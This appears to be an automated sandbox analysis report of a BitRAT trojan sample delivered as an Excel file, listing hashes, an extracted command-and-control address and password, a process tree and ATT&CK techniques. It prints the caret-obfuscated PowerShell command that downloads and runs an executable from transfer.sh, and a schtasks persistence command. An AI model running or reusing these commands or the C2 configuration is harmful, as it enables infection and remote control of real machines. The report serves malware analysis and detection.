bitrat | 63e7d413f4653c4b84c8e4c1c4fd4516a245464b3e996aa733ce21c9c1c964b1

Analysis

max time kernel
143s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20230831-en
resource tags

arch:x64arch:x86image:win10v2004-20230831-enlocale:en-usos:windows10-2004-x64system
submitted
14-09-2023 15:14

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General

Target

Romania_Request_Imun_SRL_09_2023.xls
Size

100KB
MD5

968a96fab78010b987e7a0b8624d2605
SHA1

1e42b6186f040b9868a978450fde05e39a267bf3
SHA256

63e7d413f4653c4b84c8e4c1c4fd4516a245464b3e996aa733ce21c9c1c964b1
SHA512

f953916293565e59e94f2671ef4798eff19d7ff965570d66682c38aeca273331735b638b03653960838bbfac15333364dbfb477135d298d25690b8a95fb65a75
SSDEEP

3072:irxEtjPOtioVjDGUU1qfDlaGGx+cL2QnAftJE2zuxq+fr9wBLa71ba2ryLTHeYB:kxEtjPOtioVjDGUU1qfDlavx+W2QnAVF

Score

10^/10

bitrat trojan

Malware Config

Extracted

Family

bitrat

Version

1.38

185.225.75.68:3569

Attributes

communication_password
0edcbe7d888380c49e7d1dcf67b6ea6e
tor_process
tor

Signatures

BitRAT
BitRAT is a remote access tool written in C++ and uses leaked source code from other families.
trojan bitrat

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4896	1948	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

26 4932 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 2 IoCs

Processes:

iq5kz.exeiq5kz.exe

pid process

652 iq5kz.exe
636 iq5kz.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

iq5kz.exe

description pid process target process

PID 652 set thread context of 636 652 iq5kz.exe iq5kz.exe
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

4476 636 WerFault.exe iq5kz.exe

flow	pid	process
26	4932	powershell.exe

pid	process
652	iq5kz.exe
636	iq5kz.exe

description	pid	process	target process
PID 652 set thread context of 636	652	iq5kz.exe	iq5kz.exe

pid	pid_target	process	target process
4476	636	WerFault.exe	iq5kz.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

1820 schtasks.exe

pid	process
1820	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1948 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4932 powershell.exe
4932 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exesvchost.exe

description pid process

Token: SeDebugPrivilege 4932 powershell.exe
Token: SeManageVolumePrivilege 1288 svchost.exe

pid	process
4932	powershell.exe
4932	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4932	powershell.exe
Token: SeManageVolumePrivilege	1288	svchost.exe

Suspicious use of SetWindowsHookEx 14 IoCs

Processes:

EXCEL.EXE

pid	process
1948	EXCEL.EXE
1948	EXCEL.EXE
1948	EXCEL.EXE
1948	EXCEL.EXE
1948	EXCEL.EXE
1948	EXCEL.EXE
1948	EXCEL.EXE
1948	EXCEL.EXE
1948	EXCEL.EXE
1948	EXCEL.EXE
1948	EXCEL.EXE
1948	EXCEL.EXE
1948	EXCEL.EXE
1948	EXCEL.EXE

Suspicious use of WriteProcessMemory 30 IoCs

Processes:

EXCEL.EXEcmd.exepowershell.exeiq5kz.execmd.exe

description	pid	process	target process
PID 1948 wrote to memory of 4896	1948	EXCEL.EXE	cmd.exe
PID 1948 wrote to memory of 4896	1948	EXCEL.EXE	cmd.exe
PID 4896 wrote to memory of 4932	4896	cmd.exe	powershell.exe
PID 4896 wrote to memory of 4932	4896	cmd.exe	powershell.exe
PID 4932 wrote to memory of 652	4932	powershell.exe	iq5kz.exe
PID 4932 wrote to memory of 652	4932	powershell.exe	iq5kz.exe
PID 4932 wrote to memory of 652	4932	powershell.exe	iq5kz.exe
PID 652 wrote to memory of 636	652	iq5kz.exe	iq5kz.exe
PID 652 wrote to memory of 636	652	iq5kz.exe	iq5kz.exe
PID 652 wrote to memory of 636	652	iq5kz.exe	iq5kz.exe
PID 652 wrote to memory of 636	652	iq5kz.exe	iq5kz.exe
PID 652 wrote to memory of 636	652	iq5kz.exe	iq5kz.exe
PID 652 wrote to memory of 636	652	iq5kz.exe	iq5kz.exe
PID 652 wrote to memory of 636	652	iq5kz.exe	iq5kz.exe
PID 652 wrote to memory of 636	652	iq5kz.exe	iq5kz.exe
PID 652 wrote to memory of 636	652	iq5kz.exe	iq5kz.exe
PID 652 wrote to memory of 636	652	iq5kz.exe	iq5kz.exe
PID 652 wrote to memory of 636	652	iq5kz.exe	iq5kz.exe
PID 652 wrote to memory of 1660	652	iq5kz.exe	cmd.exe
PID 652 wrote to memory of 1660	652	iq5kz.exe	cmd.exe
PID 652 wrote to memory of 1660	652	iq5kz.exe	cmd.exe
PID 652 wrote to memory of 488	652	iq5kz.exe	cmd.exe
PID 652 wrote to memory of 488	652	iq5kz.exe	cmd.exe
PID 652 wrote to memory of 488	652	iq5kz.exe	cmd.exe
PID 652 wrote to memory of 2300	652	iq5kz.exe	cmd.exe
PID 652 wrote to memory of 2300	652	iq5kz.exe	cmd.exe
PID 652 wrote to memory of 2300	652	iq5kz.exe	cmd.exe
PID 488 wrote to memory of 1820	488	cmd.exe	schtasks.exe
PID 488 wrote to memory of 1820	488	cmd.exe	schtasks.exe
PID 488 wrote to memory of 1820	488	cmd.exe	schtasks.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Romania_Request_Imun_SRL_09_2023.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1948

C:\Windows\SYSTEM32\cmd.exe
cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://transfer.sh/get/gj04sqKk7O/boat.e^xe -o C:\Users\Public\iq5kz.exe;C:\Users\Public\iq5kz.exe
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4896

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell /W 01 curl https://transfer.sh/get/gj04sqKk7O/boat.exe -o C:\Users\Public\iq5kz.exe;C:\Users\Public\iq5kz.exe
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4932

C:\Users\Public\iq5kz.exe
"C:\Users\Public\iq5kz.exe"
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:652

C:\Users\Public\iq5kz.exe
"C:\Users\Public\iq5kz.exe"
5⤵
- Executes dropped EXE
PID:636

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 636 -s 188
6⤵
- Program crash
PID:4476

C:\Windows\SysWOW64\cmd.exe
"cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\pint"
5⤵
PID:1660

C:\Windows\SysWOW64\cmd.exe
"cmd" /c copy "C:\Users\Public\iq5kz.exe" "C:\Users\Admin\AppData\Roaming\pint\pint.exe"
5⤵
PID:2300

C:\Windows\SysWOW64\cmd.exe
"cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\pint\pint.exe'" /f
5⤵
- Suspicious use of WriteProcessMemory
PID:488

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\pint\pint.exe'" /f
6⤵
- Creates scheduled task(s)
PID:1820

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 636 -ip 636
1⤵
PID:916

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe
1⤵
PID:2184

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k UnistackSvcGroup
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1288

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Comms\UnistoreDB\store.jfm
Filesize
16KB

MD5
a9423605c5300059fe88cf581ae5b019

SHA1
06b9365870b4948d47164d2b54affedf78de9daa

SHA256
3eb9195e7b44c35a654edc69e86d56bd4808c5bf08f920a6e5f637ac7b353182

SHA512
2a3e75f0be97d94730059feabd8e735f1495c7948a15466850fbfaf5c42872fbc0131e9a35a7eeea03b5fe150c571a34db8da7eee143593899a4fe70e5e58d9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_peibeul4.l2d.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\pint\pint.exe
Filesize
3.8MB

MD5
6d4c3a4ff3637ec34f820172f897d476

SHA1
d53fe8f0ecb0536088ec9be5247ab6627baf31cb

SHA256
c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3

SHA512
1ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894

Download Submit
C:\Users\Public\iq5kz.exe
Filesize
3.8MB

MD5
6d4c3a4ff3637ec34f820172f897d476

SHA1
d53fe8f0ecb0536088ec9be5247ab6627baf31cb

SHA256
c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3

SHA512
1ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894

Download Submit
C:\Users\Public\iq5kz.exe
Filesize
3.8MB

MD5
6d4c3a4ff3637ec34f820172f897d476

SHA1
d53fe8f0ecb0536088ec9be5247ab6627baf31cb

SHA256
c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3

SHA512
1ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894

Download Submit
C:\Users\Public\iq5kz.exe
Filesize
3.8MB

MD5
6d4c3a4ff3637ec34f820172f897d476

SHA1
d53fe8f0ecb0536088ec9be5247ab6627baf31cb

SHA256
c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3

SHA512
1ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894

Download Submit
memory/636-84-0x0000000000D10000-0x00000000010DE000-memory.dmp

Filesize
3.8MB

Download
memory/636-80-0x0000000000D10000-0x00000000010DE000-memory.dmp

Filesize
3.8MB

Download
memory/636-74-0x0000000000D10000-0x00000000010DE000-memory.dmp

Filesize
3.8MB

Download
memory/652-69-0x00000000752D0000-0x0000000075A80000-memory.dmp

Filesize
7.7MB

Download
memory/652-72-0x0000000002B80000-0x0000000002B90000-memory.dmp

Filesize
64KB

Download
memory/652-79-0x00000000752D0000-0x0000000075A80000-memory.dmp

Filesize
7.7MB

Download
memory/652-71-0x00000000056E0000-0x0000000005C84000-memory.dmp

Filesize
5.6MB

Download
memory/652-70-0x0000000000540000-0x0000000000918000-memory.dmp

Filesize
3.8MB

Download
memory/1288-129-0x000001581C7B0000-0x000001581C7B1000-memory.dmp

Filesize
4KB

Download
memory/1288-126-0x000001581C7B0000-0x000001581C7B1000-memory.dmp

Filesize
4KB

Download
memory/1288-120-0x000001581C790000-0x000001581C791000-memory.dmp

Filesize
4KB

Download
memory/1288-104-0x00000158141A0000-0x00000158141B0000-memory.dmp

Filesize
64KB

Download
memory/1288-88-0x00000158140A0000-0x00000158140B0000-memory.dmp

Filesize
64KB

Download
memory/1288-122-0x000001581C7B0000-0x000001581C7B1000-memory.dmp

Filesize
4KB

Download
memory/1288-123-0x000001581C7B0000-0x000001581C7B1000-memory.dmp

Filesize
4KB

Download
memory/1288-124-0x000001581C7B0000-0x000001581C7B1000-memory.dmp

Filesize
4KB

Download
memory/1288-125-0x000001581C7B0000-0x000001581C7B1000-memory.dmp

Filesize
4KB

Download
memory/1288-121-0x000001581C7B0000-0x000001581C7B1000-memory.dmp

Filesize
4KB

Download
memory/1288-127-0x000001581C7B0000-0x000001581C7B1000-memory.dmp

Filesize
4KB

Download
memory/1288-128-0x000001581C7B0000-0x000001581C7B1000-memory.dmp

Filesize
4KB

Download
memory/1288-130-0x000001581C7B0000-0x000001581C7B1000-memory.dmp

Filesize
4KB

Download
memory/1288-131-0x000001581C3E0000-0x000001581C3E1000-memory.dmp

Filesize
4KB

Download
memory/1288-132-0x000001581C3D0000-0x000001581C3D1000-memory.dmp

Filesize
4KB

Download
memory/1288-134-0x000001581C3E0000-0x000001581C3E1000-memory.dmp

Filesize
4KB

Download
memory/1288-137-0x000001581C3D0000-0x000001581C3D1000-memory.dmp

Filesize
4KB

Download
memory/1948-17-0x00007FFCBE200000-0x00007FFCBE210000-memory.dmp

Filesize
64KB

Download
memory/1948-8-0x00007FFD005D0000-0x00007FFD007C5000-memory.dmp

Filesize
2.0MB

Download
memory/1948-49-0x00007FFD005D0000-0x00007FFD007C5000-memory.dmp

Filesize
2.0MB

Download
memory/1948-53-0x000001C3A5590000-0x000001C3A5D90000-memory.dmp

Filesize
8.0MB

Download
memory/1948-54-0x000001C3A5590000-0x000001C3A5D90000-memory.dmp

Filesize
8.0MB

Download
memory/1948-55-0x000001C3A5590000-0x000001C3A5D90000-memory.dmp

Filesize
8.0MB

Download
memory/1948-167-0x00007FFD005D0000-0x00007FFD007C5000-memory.dmp

Filesize
2.0MB

Download
memory/1948-166-0x00007FFD005D0000-0x00007FFD007C5000-memory.dmp

Filesize
2.0MB

Download
memory/1948-165-0x00007FFD005D0000-0x00007FFD007C5000-memory.dmp

Filesize
2.0MB

Download
memory/1948-1-0x00007FFD005D0000-0x00007FFD007C5000-memory.dmp

Filesize
2.0MB

Download
memory/1948-2-0x00007FFCC0650000-0x00007FFCC0660000-memory.dmp

Filesize
64KB

Download
memory/1948-4-0x00007FFCC0650000-0x00007FFCC0660000-memory.dmp

Filesize
64KB

Download
memory/1948-5-0x00007FFD005D0000-0x00007FFD007C5000-memory.dmp

Filesize
2.0MB

Download
memory/1948-33-0x000001C3A5590000-0x000001C3A5D90000-memory.dmp

Filesize
8.0MB

Download
memory/1948-32-0x000001C3A5590000-0x000001C3A5D90000-memory.dmp

Filesize
8.0MB

Download
memory/1948-30-0x000001C3A5590000-0x000001C3A5D90000-memory.dmp

Filesize
8.0MB

Download
memory/1948-23-0x00007FFD005D0000-0x00007FFD007C5000-memory.dmp

Filesize
2.0MB

Download
memory/1948-20-0x00007FFD005D0000-0x00007FFD007C5000-memory.dmp

Filesize
2.0MB

Download
memory/1948-21-0x00007FFD005D0000-0x00007FFD007C5000-memory.dmp

Filesize
2.0MB

Download
memory/1948-22-0x00007FFD005D0000-0x00007FFD007C5000-memory.dmp

Filesize
2.0MB

Download
memory/1948-19-0x00007FFD005D0000-0x00007FFD007C5000-memory.dmp

Filesize
2.0MB

Download
memory/1948-0-0x00007FFCC0650000-0x00007FFCC0660000-memory.dmp

Filesize
64KB

Download
memory/1948-18-0x00007FFD005D0000-0x00007FFD007C5000-memory.dmp

Filesize
2.0MB

Download
memory/1948-16-0x00007FFD005D0000-0x00007FFD007C5000-memory.dmp

Filesize
2.0MB

Download
memory/1948-15-0x00007FFD005D0000-0x00007FFD007C5000-memory.dmp

Filesize
2.0MB

Download
memory/1948-14-0x00007FFD005D0000-0x00007FFD007C5000-memory.dmp

Filesize
2.0MB

Download
memory/1948-13-0x00007FFD005D0000-0x00007FFD007C5000-memory.dmp

Filesize
2.0MB

Download
memory/1948-12-0x00007FFD005D0000-0x00007FFD007C5000-memory.dmp

Filesize
2.0MB

Download
memory/1948-11-0x00007FFD005D0000-0x00007FFD007C5000-memory.dmp

Filesize
2.0MB

Download
memory/1948-9-0x00007FFD005D0000-0x00007FFD007C5000-memory.dmp

Filesize
2.0MB

Download
memory/1948-10-0x00007FFCBE200000-0x00007FFCBE210000-memory.dmp

Filesize
64KB

Download
memory/1948-48-0x00007FFD005D0000-0x00007FFD007C5000-memory.dmp

Filesize
2.0MB

Download
memory/1948-7-0x00007FFCC0650000-0x00007FFCC0660000-memory.dmp

Filesize
64KB

Download
memory/1948-6-0x00007FFCC0650000-0x00007FFCC0660000-memory.dmp

Filesize
64KB

Download
memory/1948-3-0x00007FFD005D0000-0x00007FFD007C5000-memory.dmp

Filesize
2.0MB

Download
memory/4932-44-0x0000021DB88E0000-0x0000021DB8902000-memory.dmp

Filesize
136KB

Download
memory/4932-45-0x00007FFCD5310000-0x00007FFCD5DD1000-memory.dmp

Filesize
10.8MB

Download
memory/4932-68-0x00007FFCD5310000-0x00007FFCD5DD1000-memory.dmp

Filesize
10.8MB

Download
memory/4932-46-0x0000021DB8960000-0x0000021DB8970000-memory.dmp

Filesize
64KB

Download
memory/4932-47-0x0000021DB8960000-0x0000021DB8970000-memory.dmp

Filesize
64KB

Download
memory/4932-57-0x0000021DB8960000-0x0000021DB8970000-memory.dmp

Filesize
64KB

Download
memory/4932-56-0x00007FFCD5310000-0x00007FFCD5DD1000-memory.dmp

Filesize
10.8MB

Download